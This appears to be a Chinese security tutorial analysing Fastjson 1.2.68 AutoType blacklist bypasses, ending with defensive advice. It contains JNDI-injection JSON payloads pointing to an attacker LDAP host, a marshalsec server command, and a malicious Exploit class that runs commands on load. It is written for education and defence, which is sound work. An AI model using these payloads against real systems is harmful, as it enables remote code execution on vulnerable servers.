Fastjson 1.2.68反序列化漏洞实战:绕过AutoType黑名单的攻防解析
1. 项目概述:Fastjson 1.2.68的攻防博弈
在Java应用安全领域,Fastjson的反序列化漏洞几乎成了一个“年经”话题。从1.2.24版本的“开天辟地”,到后续版本中不断上演的“猫鼠游戏”,每一次补丁的发布都伴随着新一轮的绕过技巧。我们上篇已经详细拆解了1.2.68版本之前,攻击者如何利用AutoType机制的缺陷,通过精心构造的Payload实现远程代码执行。本篇,我们将聚焦于1.2.68这个特定版本,深入剖析那些在默认关闭AutoTypeSupport的情况下,依然能够成功绕过的实战利用链。
简单来说,这个版本的安全攻防核心在于:如何在黑名单的严密防守下,找到那条未被完全封死的“小路”。Fastjson在1.2.25版本引入了基于黑白名单的checkAutoType机制,但安全研究者和攻击者很快发现,这个机制并非铁板一块。从简单的字符变形(如Lcom.sun.rowset.JdbcRowSetImpl;),到利用缓存机制的“二次加载”技巧,再到挖掘不在黑名单内的“新大陆”类,绕过手段层出不穷。1.2.68版本汇集了此前多个版本的“遗产”,也引入了一些新的防御逻辑,理解这个版本的漏洞,相当于回顾了Fastjson反序列化漏洞的“编年史”中一段关键时期。无论你是负责应用安全的工程师、红队渗透测试人员,还是对Java安全机制有浓厚兴趣的开发者,搞懂这些绕过手法背后的原理,都能让你对Java反序列化这一经典攻击面有更深刻的认识。
2. 核心防御机制回顾与1.2.68的上下文
在深入1.2.68的绕过细节前,我们必须先厘清Fastjson构建的防御体系,以及1.2.68版本在整个演进史中的位置。这有助于我们理解为什么某些老技巧依然有效,而另一些则被彻底封堵。
2.1checkAutoType机制的精髓与软肋
Fastjson在1.2.25版本引入的checkAutoType函数,是其反序列化安全的核心防线。它的逻辑可以简化为一个流程图式的决策树,但其实现细节中埋下了不少隐患。
默认流程(autoTypeSupport=false):
- 黑名单优先拦截:首先检查类名是否以黑名单(
denyList)中的任何前缀开头。如果是,直接抛出JSONException。这是第一道,也是最粗粒度的一道关卡。 - 缓存查找:接着,去一个名为
mappings的本地缓存HashMap中查找该类。如果找到,则返回缓存的Class对象。这个缓存机制本意是提升性能,却成了后续多个绕过手法的关键。 - 内置反序列化器查找:如果缓存未命中,则尝试从内置的反序列化器列表中查找。
- 白名单放行:如果上述都未找到,则检查类名是否以白名单(
acceptList)中的前缀开头。如果是,则使用TypeUtils.loadClass加载该类。白名单默认是空的,需要用户手动配置。 - 最终拒绝:如果以上所有步骤都失败,则抛出异常,拒绝反序列化。
开启AutoType流程(autoTypeSupport=true):顺序变为:白名单 -> 黑名单 -> 缓存/内置查找 -> 加载。这相当于降低了安全门槛,因此生产环境强烈不建议开启。
1.2.68版本的防御现状:到了1.2.68,黑名单已经非常庞大,涵盖了com.sun.、org.apache.commons.collections.、org.springframework.等大量已知的危险包。同时,针对早期的一些绕过技巧,如L...;和[...格式的类名,也增加了额外的校验。然而,防御的复杂性带来了新的问题:黑名单能否穷尽所有可能的危险类?缓存机制是否存在时序竞争问题?是否有不在黑名单内但同样危险的“偏门”类?这些就是1.2.68版本绕过攻击的突破口。
2.2 关键版本补丁脉络速览
为了理解1.2.68的漏洞,我们需要快速回顾一下导致它现状的关键补丁:
- 1.2.25:引入
checkAutoType和黑白名单,封堵了1.2.24的直接利用。 - 1.2.42:将黑名单从明文类名改为哈希值,增加分析难度。
- 1.2.43:修补了使用
[开头绕过黑名单的漏洞。 - 1.2.45:修补了利用
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory的绕过(该漏洞依赖Mybatis库)。 - 1.2.47:修补了影响极其深远的“缓存绕过”漏洞(即利用
java.lang.Class提前加载恶意类到缓存)。这个补丁是1.2.68安全状态的基础,但并非无懈可击。 - 1.2.48:在47补丁基础上,将
java.lang.Class加入了黑名单,并默认关闭了TypeUtils.loadClass的缓存功能。
1.2.68版本继承了所有这些补丁,这意味着早于1.2.47的“通杀”型Payload(如经典的Lcom.sun.rowset.JdbcRowSetImpl;)在默认配置下已经失效。攻击必须寻找新的路径。
注意:环境复现的基石所有后续的漏洞复现和分析,都基于一个共同的前提:目标项目中引入了存在可利用的Getter/Setter方法或构造方法的第三方依赖库。Fastjson漏洞的本质是“触发链”,它本身只是提供了一个“点火器”,真正的“炸药”是那些不安全的类。在搭建测试环境时,务必根据你想测试的利用链,引入相应的JAR包(如
commons-collections 3.1、tomcat-dbcp等)。
3. 1.2.68版本实战绕过利用链深度解析
在默认关闭AutoTypeSupport且黑名单日趋完善的1.2.68版本,成功的绕过通常需要结合特定的依赖环境和精巧的构造技巧。下面我们剖析几个具有代表性的实战利用链。
3.1 利用链一:基于org.apache.tomcat.dbcp.dbcp2.BasicDataSource的JNDI注入
这是1.2.68版本中一个非常经典且稳定的绕过方式,它不依赖于开启AutoType,而是利用了一个不在黑名单中、但功能危险的类。
3.1.1 利用原理与条件
org.apache.tomcat.dbcp.dbcp2.BasicDataSource是Tomcat数据库连接池的一个实现类。它有一个setDataSourceName方法。当Fastjson反序列化时,会调用该类的setter方法。在这个方法的实现中,会去初始化数据源,最终会调用到javax.naming.InitialContext.lookup(dataSourceName)。如果dataSourceName可控,就构成了一个标准的JNDI注入点。
利用条件:
- Fastjson版本 <= 1.2.68(实际上在后续版本该类别被加入黑名单)。
- 目标Classpath中引入了
tomcat-dbcp包(例如org.apache.tomcat:tomcat-dbcp:9.0.x)。 - 目标运行的JDK版本受相关JNDI注入漏洞影响(如JDK 6u141, 7u131, 8u121之前版本,或存在其他绕过限制的利用方式,如利用本地ClassPath中的Factory类)。这是最关键的限制条件。
3.1.2 攻击Payload构造
{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassName": "com.mysql.jdbc.Driver", "url": "jdbc:mysql://localhost:3306/test?autoReconnect=true&useSSL=false", "username": "root", "password": "password", "connectionProperties": "socketFactory=com.sun.net.ssl.internal.ssl.SSLSocketFactory", "dataSourceName": "ldap://attacker-ip:1389/Exploit" }或者更简洁的:
{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "dataSourceName": "ldap://attacker-ip:1389/Exploit" }3.1.3 调试与流程分析
我们可以通过调试来直观理解整个利用链:
入口:Fastjson解析到
@type指定为org.apache.tomcat.dbcp.dbcp2.BasicDataSource。由于该类不在黑名单中,且未开启AutoType,它会顺利通过checkAutoType的缓存查找和白名单检查(因为都没找到),但由于类不在黑名单且非内置,最终会抛出异常吗?这里有个关键:该类存在于当前ClassPath中。checkAutoType在缓存和白名单之后,如果clazz仍为null且autoTypeSupport为false,会直接抛异常。但是,如果这个类通过其他方式(如父类加载器)已经被加载,或者在某些上下文下能被Class.forName找到,情况可能不同。实际上,对于存在于ClassPath的类,TypeUtils.loadClass有可能成功加载,但这依赖于具体实现和类加载器上下文。更常见的利用场景是目标应用本身就用到了Tomcat DBCP,那么这个类必然已被加载或可被加载,从而绕过checkAutoType的严格限制?这里需要仔细审视。在1.2.47之后,对于非白名单且不在缓存的类,默认会抛异常。因此,这个利用链通常需要目标环境配置了AutoType白名单,或者存在其他条件使得该类能被成功加载。许多公开的PoC演示是在开启了AutoTypeSupport或添加了特定白名单的情况下进行的。这是理解该利用链的关键细节。Setter调用:假设类加载成功,Fastjson会实例化该类,并解析后续的键值对。当解析到
dataSourceName时,会调用BasicDataSource.setDataSourceName(String name)方法。JNDI触发:在
BasicDataSource的初始化或后续某个方法中(如createDataSource),会执行InitialContext.lookup(this.dataSourceName)。此时,dataSourceName已被我们控制为恶意的LDAP/RMI地址。恶意代码加载:攻击者控制的LDAP/RMI服务器响应请求,指向一个包含恶意Java类的远程地址(如
http://attacker-ip:8000/Exploit.class)。在受影响的旧版JDK中,客户端会自动加载并实例化这个类,导致RCE。
实操心得:依赖与版本匹配使用这个利用链时,最大的坑在于依赖版本的匹配。
tomcat-dbcp有不同的版本(如dbcp和dbcp2),包名和类名可能略有差异。务必确认目标环境中存在的确切类名。使用BasicDataSource的利用链在后续Fastjson版本(如1.2.69)中被通过黑名单修补,但在1.2.68及之前版本,如果环境条件满足,它仍是一个有效的攻击点。
3.2 利用链二:利用org.apache.ibatis.datasource.jndi.JndiDataSourceFactory的二次绕过
这个类在1.2.45版本被加入黑名单(哈希形式),但在某些特定条件下,仍然可能被利用,这体现了黑名单防御的滞后性。
3.2.1 原理回顾与条件
JndiDataSourceFactory是MyBatis框架中用于获取JNDI数据源的工厂类。它有一个setProperties(Properties properties)方法。Fastjson在反序列化时,会尝试调用这个setter方法。在该方法内部,会调用InitialContext.lookup(properties.getProperty("data_source"))。
在1.2.45之后,org.apache.ibatis.datasource被加入了黑名单。但是,黑名单是前缀匹配。如果攻击者能找到同一个包下、不在黑名单哈希表里、但同样有危险方法的其他类,或者不同包名但类名相似的类,就有可能绕过。例如,在某些MyBatis版本或分支中,可能存在类名细微差异的类。不过,在1.2.68版本,这个直接的类名已被广泛识别和封堵。
更实际的利用思路是:如果目标环境因为历史原因或配置错误,手动清空或修改了黑名单,或者使用了非全局的、配置了错误白名单的ParserConfig实例,那么这些已被列入黑名单的类可能重新变得可用。因此,在渗透测试中,检查应用关于Fastjson的配置(如fastjson.properties文件、启动参数、代码中的ParserConfig设置)是至关重要的一步。
3.2.2 Payload示例
{ "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "ldap://attacker-ip:1389/Exploit" } }此Payload在标准1.2.68环境(未修改黑名单)下会触发黑名单拦截而失败。它的价值在于提醒我们,黑名单的维护需要持续跟进,并且应用的自定义配置可能引入风险。
3.3 利用链三:挖掘其他冷门组件中的危险类(以com.zaxxer.hikari.HikariConfig为例)
除了上述相对知名的类,攻击者一直在挖掘其他第三方库中可用于构造利用链的类。HikariCP是流行的数据库连接池,其配置类HikariConfig在特定版本下存在利用可能。
3.3.1 利用原理
HikariConfig类中有诸如setMetricRegistry(Object metricRegistry)和setHealthCheckRegistry(Object healthCheckRegistry)等方法。这些方法的参数类型是Object。Fastjson在反序列化时,如果JSON中对应的值是一个字符串,它会尝试将这个字符串反序列化为一个对象。如果这个字符串是@type形式,就会触发新一轮的反序列化过程。这就为“二次注入”或链式调用提供了可能。
然而,在1.2.68版本,直接利用HikariConfig进行JNDI注入通常需要开启AutoTypeSupport,因为metricRegistry等属性期望的是一个对象实例,而Fastjson需要知道具体类型来反序列化。如果属性值是一个简单的JNDI地址字符串,HikariCP库本身并不会去调用lookup。公开的PoC(如{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://..."})在关闭AutoType的默认情况下,往往无法成功,因为ldap://...这个字符串无法被自动转换为一个能触发JNDI的Object。真正的利用可能需要更复杂的嵌套对象构造。
3.3.2 实战意义
这个例子说明了绕过手法的另一个维度:利用目标类本身属性setter方法的特性,进行更深度的链式Gadget挖掘。这需要深入分析目标类的源码,找到那些参数类型为Object、Map、Properties或特定接口,并且内部实现会调用危险方法(如Runtime.exec,Method.invoke, 或Class.forName)的setter或getter。这是一种更高级、更依赖具体库版本的利用方式,不如基于JNDI的利用链通用,但隐蔽性更强。
注意事项:AutoType开关的影响在测试和评估Fastjson漏洞时,务必明确
AutoTypeSupport的开关状态。很多公开的PoC只有在开启AutoType时才有效。判断方法可以尝试一个简单的测试Payload:{"@type":"java.lang.AutoCloseable"}。如果解析报错提示autoType is not support,则说明AutoType未开启;如果成功解析(可能返回null或报其他错误),则说明AutoType已开启或存在其他绕过。这是信息收集的关键一步。
4. 漏洞复现环境搭建与调试详解
纸上得来终觉浅,绝知此事要躬行。要真正理解这些绕过手法,亲手搭建环境进行调试是不可或缺的。
4.1 环境准备清单
- JDK版本:选择受JNDI注入影响的版本进行漏洞利用学习(如JDK 8u121之前),或使用高版本JDK但配合利用本地ClassPath的利用链(如
commons-collections)进行学习。建议使用Docker隔离环境。 - Fastjson库:明确引入1.2.68版本的JAR包。
<!-- Maven 依赖 --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.68</version> </dependency> - 漏洞依赖库:根据你要测试的利用链引入对应的库,例如:
tomcat-dbcp(用于BasicDataSource链)mybatis(用于JndiDataSourceFactory链,注意版本)HikariCP(用于HikariConfig链)commons-collections 3.1(用于构造不含JNDI的纯反序列化链,受JDK版本限制小)
- 攻击工具:
- JNDI注入工具:使用
marshalsec或JNDI-Injection-Exploit快速启动恶意的RMI/LDAP服务器。 - 恶意类:准备一个编译好的恶意类,例如实现
ObjectFactory或Referenceable接口,在静态代码块或构造函数中执行命令(如Runtime.getRuntime().exec("calc"))。
- JNDI注入工具:使用
- IDE与调试:使用IntelliJ IDEA或Eclipse,方便下断点跟踪Fastjson反序列化流程。
4.2 调试过程核心断点设置
理解漏洞,跟踪代码执行流是最好的方式。在IDEA中,对Fastjson源码进行反编译或引入源码,在以下关键位置设置断点:
- 入口断点:
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)。这是解析JSON对象的起点。 - 类型检查断点:
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String, Class<?>, int)。这是所有绕过手法必须经过的“安检口”。在这里观察传入的typeName,以及它是如何被黑白名单过滤、如何查询缓存的。 - 类加载断点:
com.alibaba.fastjson.util.TypeUtils#loadClass(String, ClassLoader)。观察类名是如何被加载的,特别是处理L...;和[...这些特殊格式的逻辑。 - Setter调用断点:在你目标利用类的setter方法上打上断点,例如
BasicDataSource.setDataSourceName。当断点命中时,查看调用栈,理解Fastjson是如何从JSON解析过渡到方法调用的。 - JNDI触发断点:
javax.naming.InitialContext#lookup(String)。这是最终触发远程代码加载的地方。
4.3 复现步骤示例(以Tomcat DBCP2链为例)
假设我们已准备好受影响的JDK、Fastjson 1.2.68、tomcat-dbcp2依赖,以及攻击机。
- 编写漏洞测试代码:
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class Fastjson1268Poc { public static void main(String[] args) { // 模拟默认配置,不开启AutoType // ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 注释掉,测试默认情况 String payload = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"dataSourceName\":\"ldap://your-attacker-ip:1389/Exploit\"}"; try { Object obj = JSON.parse(payload); System.out.println("Parsed: " + obj); } catch (Exception e) { e.printStackTrace(); } } } - 启动恶意JNDI服务器(在攻击机上):
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-attacker-ip:8000/#Exploit" 1389 - 编译并托管恶意类:
编译// Exploit.java import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class Exploit implements ObjectFactory { static { try { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); // Mac // Runtime.getRuntime().exec("calc.exe"); // Windows } catch (Exception e) { e.printStackTrace(); } } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { return null; } }javac Exploit.java,并将其放在攻击机的Web服务器根目录(如python3 -m http.server 8000)。 - 执行测试程序:在受影响环境中运行
Fastjson1268Poc。如果环境配置(JDK版本、依赖、网络)都正确,且满足了该类能被成功加载的条件(如配置了相应的白名单或类已在CP中),你将看到计算器被弹出(或相应的命令被执行)。
踩坑记录:类加载与网络连通性复现中最常见的两个问题:一是
ClassNotFoundException,说明依赖没引对或类名写错了;二是Connection refused或Connection timed out,说明JNDI服务器没启动成功,或目标与攻击机网络不通,或者高版本JDK的JNDI限制已生效。务必逐一排查。
5. 高级绕过技巧与失效Payload分析
在实战和研究中,你会遇到很多公开的Payload。理解它们为什么在1.2.68上有效或失效,能极大提升你的分析能力。
5.1 为什么经典的“缓存绕过”Payload在1.2.68失效了?
回顾一下1.2.47版本的“通杀”Payload:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://...", "autoCommit": true } }失效原因:1.2.48版本的补丁做了两件事:1) 将java.lang.Class加入了黑名单;2) 在TypeUtils.loadClass中,默认将缓存开关cache参数设置为false。因此,第一部分试图通过Class加载JdbcRowSetImpl进缓存的操作,会因为在checkAutoType阶段就被黑名单拦截(Class在黑名单)而失败。即使拦截不了,加载后也不会被缓存。第二部分在解析时,由于缓存中没有,com.sun.rowset.JdbcRowSetImpl本身又在黑名单中,所以也会被直接拒绝。
5.2 字符变形绕过的末路
早期的一些字符变形技巧,在1.2.68也基本走到了尽头:
L...;绕过:在1.2.25-1.2.41有效。1.2.42之后,checkAutoType或loadClass中加强了对这种格式的校验,会先进行规范化处理(去掉L和;)再进行黑名单匹配,因此失效。[...绕过:在1.2.25-1.2.42有效。1.2.43专门增加了对以[开头类名的检查,直接抛出异常。- 双写
LL...;;绕过:这是针对L...;修复的短暂绕过,同样在后续补丁中被修复。
这些手法的失效,体现了Fastjson防御策略从“简单过滤”向“深度解析和校验”的演进。
5.3 未来可能的绕过方向思考(研究视角)
尽管1.2.68之后还有更高版本,但思考绕过方向对理解漏洞本质有帮助:
- 白名单滥用:如果应用配置了过于宽泛的白名单(如
com.、org.),攻击者就可以在允许的包名下寻找危险类。安全开发中,白名单应尽可能精确。 - 非默认ParserConfig实例:Fastjson允许创建非全局的
ParserConfig实例。如果某个组件使用了独立的、配置不当的ParserConfig(例如误开了AutoType),就可能成为突破口。 - 寻找新的“无害”危险类:永远会有新的第三方库被引入项目,其中可能包含开发者未意识到的、具有危险方法的类。自动化工具(如GadgetInspector)和代码审计是发现这类类的关键。
- 利用Fastjson其他特性:例如,
JSONPath表达式、某些特殊的Feature配置,是否可能与其他漏洞形成组合拳?这需要更深入的研究。
6. 防御建议与安全开发实践
对于开发和安全人员,了解攻击是为了更好的防御。
6.1 终极解决方案:升级与替换
- 升级Fastjson:尽快升级到最新安全版本(如1.2.83及以上)。新版本不仅更新了黑名单,更重要的是引入了
SafeMode等更彻底的防护机制。 - 考虑替换:评估使用其他更安全的JSON库,如Jackson或Gson。虽然它们也非绝对安全,但历史漏洞相对较少,且设计上可能更谨慎。
6.2 安全配置(如果必须使用旧版)
如果因历史原因无法升级,必须采取严格的配置:
- 坚决关闭AutoTypeSupport:这是最重要的底线。确保没有通过JVM参数、代码或配置文件开启它。
- 配置精确的白名单:使用
ParserConfig.getGlobalInstance().addAccept("your.safe.package.")来添加仅包含业务必要类的白名单。切勿使用通配符或过于宽泛的包名。 - 使用安全模式(如果版本支持):在1.2.68之后的版本,可以考虑启用安全模式,但这会限制功能。
- 隔离反序列化:在沙箱或受限环境中执行反序列化操作。
6.3 代码审计与依赖管理
- 依赖检查:使用OWASP Dependency-Check、Maven
versions:display-dependency-updates等工具,定期扫描项目中的Fastjson及其他存在已知漏洞的组件。 - 代码扫描:在代码中全局搜索
ParserConfig.setAutoTypeSupport(true)、Feature.SupportAutoType等危险配置。 - 输入过滤:对不可信的JSON数据来源进行严格校验,尽管这不是根本解决办法,但能增加攻击门槛。
6.4 运行时防护与RASP
对于已上线的系统,可以考虑部署运行时应用自我保护(RASP)方案。RASP agent可以注入到JVM中,在关键函数(如Class.forName、Method.invoke、Runtime.exec)被调用时进行拦截和判断,即使Fastjson存在未知漏洞,也能在最后一道防线阻止恶意代码执行。
7. 总结与个人体会
剖析Fastjson 1.2.68的绕过利用链,就像在翻阅一本Java安全攻防的教科书。它清晰地展示了安全是一个动态的过程:攻击者利用设计缺陷和实现疏忽(如checkAutoType的逻辑漏洞、缓存机制、危险的三方库),防御者则通过打补丁(黑名单、字符校验、缓存开关)来封堵。然而,只要反序列化这个机制存在,只要应用依赖复杂的三方库,攻击面就不会消失。
从我个人的实战经验来看,面对这类漏洞,应急响应时首先要做的就是精准定位:快速确定受影响的应用、使用的Fastjson版本、以及是否开启了危险的AutoType。然后才是根据版本寻找对应的修复方案或缓解措施。在代码审计中,除了Fastjson本身,更要关注那些被反序列化的类是否来自不可信源,以及项目引入的第三方库中是否藏有潜在的“危险类”。
最后,对于开发者而言,最深刻的教训或许是:不要轻易反序列化不可信的数据。如果必须这么做,那么使用最严格的限制、保持依赖的最新状态、并时刻对安全保持敬畏,是唯一的出路。Fastjson的漏洞史,是整个Java生态在安全问题上的一次集中体现,值得每一个后端开发者深思。